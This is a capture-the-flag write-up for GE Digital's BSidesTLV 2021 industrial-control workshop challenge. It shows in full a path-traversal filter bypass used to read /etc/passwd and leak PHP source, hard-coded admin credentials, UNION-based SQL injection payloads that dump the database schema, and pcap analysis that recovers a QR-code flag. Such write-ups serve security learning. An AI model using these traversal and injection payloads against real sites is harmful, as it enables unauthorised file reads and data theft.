Skip to content

Latest commit

 

History

History
 
 

2021_GE_Digital

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 

GE Digital CTF

Introduction

During BSidesTLV 2021, GE Digital hosted an Introduction to Industrial Control Systems workshop. This short CTF was part of the workshop.

The CTF

We are presented with the following entry page:

    <header class="st-header st-fullHeight">
      <div class="header-overlay"></div><!-- /HEADER OVERLY -->
      <div class="container">
        <div class="row">
          <div class="col-md-12 text-center st-header-content">
            <div class="logo">
              <span>GE DIGITAL</span>
              <!-- <img src="images/logo.svg" alt=""> -->
            </div>
            <div class="st-header-title">
              <h2>Welcome to <span>GE CTF Challange</span></h2>
              <p>We welcome you to solve our mystery, This is a classic CTF challenge. Enjoy your resource.</p>
            </div>
          </div>
        </div>

        <div class="row">
          <div class="col-md-6 text-right">
            <a class="btn btn-primary btn-lg btn-block" href="login.php">Login</a>
          </div>
          <div class="col-md-6 text-right ">
            <a class="btn btn-success btn-lg btn-block" href="status.php?r=health.txt">Check System Status</a>
          </div>
        </div>  
      </div>

      <a href="#service" class="mouse-icon hidden-xs">
        <div class="wheel"></div>
      </a>
    </header>

As we can see, we have a link to a login page and a link to a "check system status" page. We'll start from checking the system status since the URL is just screaming "directory traversal".

By default, we get the following response:

┌──(user@kali)-[/media/sf_CTFs/ge]
└─$ curl 'https://www.gechallenge.com/ge-ctf/status.php?r=health.txt' -H 'Cookie: PHPSESSID=55j449qcdas6qlb8a9g73i1bba' 
OK 

Let's start playing with the r parameter in order to read different files:

┌──(user@kali)-[/media/sf_CTFs/ge]
└─$ curl 'https://www.gechallenge.com/ge-ctf/status.php?r=/etc/passwd' -H 'Cookie: PHPSESSID=55j449qcdas6qlb8a9g73i1bba'
./system_status//etc/passwd Not found 

Looks like the parameter values is being appended as a relative path. We can use ../ to start climbing up the directory tree until we get to the root:

┌──(user@kali)-[/media/sf_CTFs/ge]
└─$ curl 'https://www.gechallenge.com/ge-ctf/status.php?r=../etc/passwd' -H 'Cookie: PHPSESSID=55j449qcdas6qlb8a9g73i1bba'
./system_status/etc/passwd Not found                                                                                    
┌──(user@kali)-[/media/sf_CTFs/ge]
└─$ curl 'https://www.gechallenge.com/ge-ctf/status.php?r=../../etc/passwd' -H 'Cookie: PHPSESSID=55j449qcdas6qlb8a9g73i1bba'
./system_status/etc/passwd Not found

Our ../ additions are not being reflected in the outcome. Maybe there is some basic sanitization of the path. The most basic form is to replace ../ with an empty string. That's bypassed by providing ....// instead:

┌──(user@kali)-[/media/sf_CTFs/ge]
└─$ curl 'https://www.gechallenge.com/ge-ctf/status.php?r=....//etc/passwd' -H 'Cookie: PHPSESSID=55j449qcdas6qlb8a9g73i1bba'
./system_status/../etc/passwd Not found

Good, looks like it's working. We continue up:

┌──(user@kali)-[/media/sf_CTFs/ge]
└─$ curl 'https://www.gechallenge.com/ge-ctf/status.php?r=....//....//etc/passwd' -H 'Cookie: PHPSESSID=55j449qcdas6qlb8a9g73i1bba'
./system_status/../../etc/passwd Not found

┌──(user@kali)-[/media/sf_CTFs/ge]
└─$ curl 'https://gechallenge.com/ge-ctf/status.php?r=....//....//....//....//....//etc/passwd' -H 'Cookie: PHPSESSID=55j449qcdas6qlb8a9g73i1bba'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ec2-instance-connect:x:112:65534::/nonexistent:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:120:MySQL Server,,,:/nonexistent:/bin/false
dudu:x:1001:1001:Dudu,,,:/home/dudu:/bin/bash
new_user:x:1002:1002::/home/new_user:/bin/bash
amit:x:1003:1003:Amit,,,:/home/amit:/bin/bash

Ok, we've proven that the code is vulnerable, now let's find some interesting files.

We'll start with login.php:

┌──(user@kali)-[/media/sf_CTFs/ge]
└─$ curl 'https://gechallenge.com/ge-ctf/status.php?r=....//login.php' -H 'Cookie: PHPSESSID=55j449qcdas6qlb8a9g73i1bba'

We get:

<?php

    include './handlers/ctf-headers.php';
    include './handlers/auth.php';
    //include './handlers/redirect.php';

?>


<?php

    //reset auth
    reset_user_auth();

    $has_validation_error = false;
    //check login
    if(isset($_POST["u"])){
        if(isset($_POST["p"])){
            $usr = $_POST["u"];
            $pwd = $_POST["p"];

            if ($usr === 'CTFAdmin@ge.com' && $pwd === 'P4ssW0rD1337!'){
                //set user auth for login
                set_user_auth($usr);

                // echo 'Great you logged into the system!';
                Redirect('manage.php');
            }else{
                $has_validation_error = true;
            }
        }
    }
?>



<!doctype html>
<html lang="en">
  <head>
    <!-- Required meta tags -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="robots" content="noindex">

    <!-- Main CSS file -->
    <link rel="stylesheet" href="css/style.css" />
    <!-- Bootstrap CSS -->
    <link href="css/bootstrap.min.css" rel="stylesheet" >

    <title>GE CTF - Login</title>
  </head>
  <body>


    <!-- HEADER -->
    <header class="login-header st-fullHeight">
      <div class="header-overlay"></div><!-- /HEADER OVERLY -->

      <div class="container">
        <div class="row">
          <div class="col-md-12 text-center st-header-content">
            <div class="logo">
              <svg version="1.2" baseProfile="tiny" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 72 72" overflow="visible"><path fill-rule="evenodd" fill="#FFFFFE" d="M29.8 38.7c-4.5 2.2-10.2 6.1-10.2 10.4 0 1.6.8 2.6 2.3 2.6 4.4-.1 7.1-7 7.9-13zM31 20c0-.5-.3-.7-.7-.7-2.1 0-5.1 5.5-5.1 8.8 3.3-1.8 5.8-5.9 5.8-8.1zm17.7.4c0-.5-.1-1.1-.7-1.1-1.5 0-3.9 3.2-3.9 7.3 3-2.6 4.6-4.8 4.6-6.2zM56 45.6c0 4.5-3.9 9.2-9.6 9.2-6.9 0-10.4-5.8-10.4-11 0-7.3 5-10.4 7.1-11.5-.4-.3-.7-.7-1-1.2-2.4 1.7-4.6 3.2-9.2 5.8-.2 3.2-.5 6.7-1.3 9.1-1.7 5.1-5.2 8.8-9.8 8.8-3.9 0-5.8-2.8-5.8-5.8 0-2.2 1.3-5 3.6-7.1 2.9-2.6 6.1-4.2 10.5-6.5.1-.6.2-1.2.3-1.9-1.1 1-2.7 1.4-4 1.4-2.1 0-3.8-1.8-4.2-3.7-2.8-.2-4.9-2.2-5-5.4 0-2.3.9-4.3 2.4-4.3.6 0 .8.5.8.9s-.5 1.7-.5 3 .6 3 2.2 3c0-5.2 3.8-11.9 8.3-11.9 3 0 3.4 2.2 3.4 3.2 0 4.7-4.7 9.9-8.5 11.2.1.4.5 1.5 1.7 1.5 1.5 0 3.3-1.4 4.2-2.5.4-2.1 1.9-5.1 3.9-5.1.8 0 1.2.6 1.2 1.3 0 1.5-1.6 3.4-2.8 4.7-.2 1-.3 2.1-.3 3 3.5-2.1 5.3-3.2 7.9-5.1-.1-.7-.1-1.5-.1-2.3 0-4.7 3.1-9.9 7.2-9.9 2.3 0 3.5 1.6 3.5 3.4 0 3.4-2.9 6.4-7 9.5.3.8.8 1.5 1.6 1.9.1-.2 1.4-.4 2.5-.4 1.2 0 2.9.3 2.9 1.5 0 1.4-1.9 1.7-3.4 1.7-.8.1-2.1-.2-2.1-.2-2.2.6-6.4 3.1-6.4 9.5 0 4.3 2.7 8.3 6.9 8.3 3.2 0 5.8-2.4 5.9-6.1 0-2.4-1-4.9-3.4-4.9-1.2 0-2.3.9-2.3 2.2-.1 2 1.4 2.2 1.4 3.5 0 .9-.7 1.3-1.4 1.3-2 0-3.5-2-3.5-4.5 0-3 2.6-5.5 6-5.5 4.3 0 6.6 3.8 6.6 7.9zM68.1 36c0-11.4-5.8-23.2-18.3-26.9-2.6-.8-4.8-1.3-7.3-1.3-5.8 0-6 3.3-8.7 3.3-1.5 0-2.5-1.1-2.5-2.4 0-2.3 2.7-4.1 7-4.1 4 0 7.1 1 7.7 1.3l.1-.3c-1-.4-4.8-1.7-10.1-1.7-11.5 0-23.2 5.9-26.9 18.3-.8 2.6-1.3 4.8-1.3 7.3 0 5.8 3.3 6.1 3.3 8.8 0 1.4-1.1 2.4-2.4 2.4-2.3 0-4.1-2.6-4.1-7 0-4 1-7.1 1.2-7.7l-.3-.1C5.2 27 3.9 30.7 3.9 36c0 11.6 5.9 23.2 18.3 27 2.6.8 4.8 1.3 7.3 1.3 5.8 0 6-3.4 8.7-3.4 1.4 0 2.5 1.1 2.5 2.5 0 2.2-2.6 4-7 4-4 0-7.2-1-7.7-1.2l-.1.3c1.1.5 4.9 1.6 10.2 1.6 11.5 0 23.2-5.8 26.9-18.3.8-2.5 1.3-4.8 1.3-7.2 0-5.9-3.3-6.1-3.3-8.8 0-1.5 1-2.5 2.4-2.5 2.3 0 4.1 2.7 4.1 7.1 0 3.9-1 7-1.2 7.7l.3.1c.3-1.1 1.5-4.8 1.5-10.2zm2.2 0C70.3 54.9 55 70.3 36 70.3 17 70.3 1.7 54.9 1.7 36 1.7 17 17 1.7 36 1.7c18.9 0 34.3 15.5 34.3 34.3zm1.7 0C72 16.2 55.8 0 36 0S0 16.2 0 36c0 19.9 16.2 36 36 36s36-16.1 36-36z"></path></svg>
              <span>GE DIGITAL</span>
              <!-- <img src="images/logo.svg" alt=""> -->
            </div>
          </div>
        </div>



      <div class="row">
        <div class="col-md-offset-3 col-md-6 text-center login-header-form">
            <div class="st-header-title">
              <h2><span>Login</span></h2>
            </div>
            <form class="form" method="POST">
                <?php
                    if($has_validation_error){
                        echo    '<div class="form-group">
                                    <div class="alert alert-danger" role="alert">
                                        You entered wrong username or password
                                    </div>
                                </div>';
                    }
                ?>

                <div class="form-group">
                    <input type="email" id="txt_email" class="form-control form-control-lg" aria-describedby="emailHelp" placeholder="Enter email" name="u">
                </div>
                <div class="form-group">
                    <input type="password" id="txt_pass" class="form-control form-control-lg" placeholder="Password" maxlength="20" name="p">
                </div>

                <input type="submit" class="btn btn-lgbtn-primary"/>
            </form>

        </div>
      </div>
    </div>

    </header>
    <!-- /HEADER -->


    <!-- JS -->
    <script type="text/javascript" src="js/jquery.min.js"></script><!-- jQuery -->
    <script type="text/javascript" src="js/bootstrap.min.js"></script><!-- Bootstrap -->
    <script type="text/javascript" src="js/jquery.parallax.js"></script><!-- Parallax -->
    <script type="text/javascript" src="js/smoothscroll.js"></script><!-- Smooth Scroll -->
    <script type="text/javascript" src="js/scripts.js"></script><!-- Scripts -->
  </body>
</html>

The important part is here:

if ($usr === 'CTFAdmin@ge.com' && $pwd === 'P4ssW0rD1337!'){
    //set user auth for login
    set_user_auth($usr);

    // echo 'Great you logged into the system!';
    Redirect('manage.php');
}else{
    $has_validation_error = true;
}

First, we get the credentials for logging into the system. Then, we know that the user is transferred to manage.php.

After logging in, we arrive to the management page which contains a simple table:

<table class="table">
    <thead>
        <tr>
            <td >id</td>
            <td>name</td>
            <td>description</td>
            <td>status</td>
        </tr> 
    </thead>
    <tbody>

    
            <tr>
            <td> 1</td>
            <td> Sensor 1</td>
            <td> Vision and Imaging Sensors</td>
            <td> 1</td>
            </div>
            <tr>
            <td> 2</td>
            <td> Sensor 2</td>
            <td> Temperature Sensors</td>
            <td> 1</td>
            </div>
            <tr>
            <td> 3</td>
            <td> Sensor 3</td>
            <td> Radiation Sensors</td>
            <td> 1</td>
            </div>          </tbody>

</table>

By using the vulnerability above, we can leak the source code:

<?php  
  include './handlers/ctf-headers.php';

  include './handlers/auth.php';
  include './handlers/db-connection.php';
  
  check_is_user_auth();
?>

<?php
  if(isset($_GET["sname"])){
   
   
    $sname = $_GET["sname"];

    // $sname
    $sql = "SELECT * FROM `ge_sensors` where `name` like '%$sname%'";

//echo $sql;

  }else{
    $sql = "SELECT * FROM ge_sensors";
  }
  //set results
  $result = $conn->query($sql);
?>





<!doctype html>
<html lang="en">
  <head>
    <!-- Required meta tags -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="robots" content="noindex">
    
    <!-- Main CSS file -->
    <link rel="stylesheet" href="css/style.css" />
    <!-- Bootstrap CSS -->
    <link href="css/bootstrap.min.css" rel="stylesheet" >
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css">

    <title>GE CTF - Managment - Sensors List</title>
  </head>
  <body>
    
    <div class="container">
        <div class="row">
            <div class="col-md-12">
                <h1>Managment - Sensors List</h1>
            </div>
            <div class="row">
              <div class="col-md-12">
                <div class="border p-4 mb-4 d-flex align-items-center flex-column">
                  <form  class="form">
                    <div class="input-group">
                          <div class="form-outline">
                            <input id="search-input" type="search" class="form-control" name="sname" placeholder="Search Name"/>
                            <button id="search-button" type="submit" class="btn btn-primary">
                              <i class="fas fa-search"></i>
                            </button>
                          </div>
                         
                        </div>
                    </div>
                  </form>
                </div>
          </div>  
        </div>  

      <div class="row">
        <div class="col-md-12">
          
        </div>
        <div class="col-md-12">
        <table class="table">
            <thead>
              <tr>
                  <td >id</td>
                  <td>name</td>
                  <td>description</td>
                  <td>status</td>
              </tr> 
            </thead>
            <tbody>

            <?php 
            //Print results
            if($result){
              if ($result->num_rows > 0) {
                // output data of each row
                while($row = $result->fetch_assoc()) {
                  $id = htmlspecialchars($row['id'],ENT_QUOTES);
                  $name = htmlspecialchars($row['name'],ENT_QUOTES);
                  $description = htmlspecialchars($row['description']);
                  $status = htmlspecialchars($row['status'],ENT_QUOTES);
                  echo "
                  <tr>
                    <td> $id</td>
                    <td> $name</td>
                    <td> $description</td>
                    <td> $status</td>
                  </div>";
  
                }
              } else {
                echo "0 Results";
              }
            }
            $conn->close();
          ?>
          </tbody>

        </table>


        </div>
      </div>  
    </div>

    <!-- JS -->
    <script type="text/javascript" src="js/jquery.min.js"></script><!-- jQuery -->
    <script type="text/javascript" src="js/bootstrap.min.js"></script><!-- Bootstrap -->
    <script type="text/javascript" src="js/jquery.parallax.js"></script><!-- Parallax -->
    <script type="text/javascript" src="js/smoothscroll.js"></script><!-- Smooth Scroll -->
    <script type="text/javascript" src="js/scripts.js"></script><!-- Scripts -->

  </body>
</html>

There's a pretty obvious SQL injection here:

$sql = "SELECT * FROM `ge_sensors` where `name` like '%$sname%'";

Let's create a small PoC by visiting manage.php?sname=' and '1'='1' union select 1,2,3,4 from ge_sensors where '1' like '1, to receive:

<table class="table">
    <thead>
        <tr>
            <td >id</td>
            <td>name</td>
            <td>description</td>
            <td>status</td>
        </tr>
    </thead>
    <tbody>


            <tr>
            <td> 1</td>
            <td> Sensor 1</td>
            <td> Vision and Imaging Sensors</td>
            <td> 1</td>
            </div>
            <tr>
            <td> 2</td>
            <td> Sensor 2</td>
            <td> Temperature Sensors</td>
            <td> 1</td>
            </div>
            <tr>
            <td> 3</td>
            <td> Sensor 3</td>
            <td> Radiation Sensors</td>
            <td> 1</td>
            </div>
            <tr>
            <td> 1</td>
            <td> 2</td>
            <td> 3</td>
            <td> 4</td>
            </div>          </tbody>

</table>

Now that we know it works, we can start to dump the database structure. We visit manage.php?sname=' and '1'='1' union select 1,2,group_concat(schema_name),4 from information_schema.schemata where '1' like '1 and get the schema names: information_schema,ge_ctf. We visit manage.php?sname=' and '1'='1' union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema like 'ge_ctf and get the table names: ge_files,ge_sensors. We visit manage.php?sname=' and '1'='1' union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name like 'ge_file to get the column names for ge_files, and get: name. Finally, we dump the table: manage.php?sname=' and '1'='1' union select 1,2,group_concat(name),4 from ge_files where '1' like '1 which results in /var/www/html/index.php,/var/www/html/login.php,/var/www/html/status.php,/var/www/html/manage.php,/var/www/html/system_status/health.txt,/PLC-traffic-test.pcap.

The PCAP file looks interesting, let's get it:

┌──(user@kali)-[/media/sf_CTFs/ge]
└─$ curl "https://gechallenge.com/ge-ctf/status.php?r=....//....//....//....//....//PLC-traffic-test.pcap" -H 'Cookie: PHPSESSID=55j449qcdas6qlb8a9g73i1bba' -s -o PLC-traffic-test.pcap

┌──(user@kali)-[/media/sf_CTFs/ge]
└─$ file PLC-traffic-test.pcap
PLC-traffic-test.pcap: pcapng capture file - version 1.0

Let's check what we see there:

┌──(user@kali)-[/media/sf_CTFs/ge]
└─$ tshark -qz io,phs -r PLC-traffic-test.pcap

===================================================================
Protocol Hierarchy Statistics
Filter:

eth                                      frames:365 bytes:145581
  ipv6                                   frames:35 bytes:3280
    icmpv6                               frames:30 bytes:2580
    udp                                  frames:5 bytes:700
      mdns                               frames:3 bytes:450
      dhcpv6                             frames:2 bytes:250
  ip                                     frames:308 bytes:141107
    udp                                  frames:46 bytes:5324
      dns                                frames:28 bytes:2538
      mdns                               frames:14 bytes:1918
      ssdp                               frames:4 bytes:868
    tcp                                  frames:258 bytes:135543
      http                               frames:8 bytes:6346
        data-text-lines                  frames:2 bytes:1178
        png                              frames:1 bytes:3809
          tcp.segments                   frames:1 bytes:3809
      tls                                frames:91 bytes:96767
        tcp.segments                     frames:32 bytes:45812
          tls                            frames:26 bytes:37895
    igmp                                 frames:4 bytes:240
  arp                                    frames:22 bytes:1194
===================================================================

The things that jump to the eye are the HTTP requests and the PNG file. We'll start with the HTTP request:

┌──(user@kali)-[/media/sf_CTFs/ge]
└─$ tshark -nr PLC-traffic-test.pcap -Y 'http'
    9 0.630578364 192.168.1.30 → 142.250.186.174 HTTP 140 GET / HTTP/1.1
   11 0.708023209 142.250.186.174 → 192.168.1.30 HTTP 594 HTTP/1.1 301 Moved Permanently  (text/html)
   86 37.915692649 192.168.1.30 → 172.67.178.63 HTTP 131 GET / HTTP/1.1
   88 37.998487691 172.67.178.63 → 192.168.1.30 HTTP 788 HTTP/1.1 301 Moved Permanently
  121 77.359704534 192.168.1.30 → 18.192.24.246 HTTP 145 GET / HTTP/1.1
  123 77.428334918 18.192.24.246 → 192.168.1.30 HTTP 584 HTTP/1.1 301 Moved Permanently  (text/html)
  191 116.454603923 192.168.1.30 → 192.168.1.77 HTTP 155 GET /FLAG.png HTTP/1.1
  209 116.458045593 192.168.1.77 → 192.168.1.30 HTTP 3809 HTTP/1.0 200 OK  (PNG)

We see that the request is for FLAG.png, let's dump the file:

┌──(user@kali)-[/media/sf_CTFs/ge]
└─$ tshark -r PLC-traffic-test.pcap -o "tcp.desegment_tcp_streams: TRUE" -o "tcp.no_subdissector_on_error: FALSE" --export-objects "http,exported_objects" | grep png
  191 116.454603923 192.168.1.30 → 192.168.1.77 HTTP 155 GET /FLAG.png HTTP/1.1

┌──(user@kali)-[/media/sf_CTFs/ge]
└─$ file exported_objects/FLAG.png
exported_objects/FLAG.png: PNG image data, 660 x 273, 8-bit/color RGBA, non-interlaced

The image has a QR code:

┌──(user@kali)-[/media/sf_CTFs/ge]
└─$ zbarimg exported_objects/FLAG.png
QR-Code:https://gechallenge.com/Go0d_JoB_GE-D1GIT4L.html
scanned 1 barcode symbols from 1 images in 0.04 seconds

And we're done.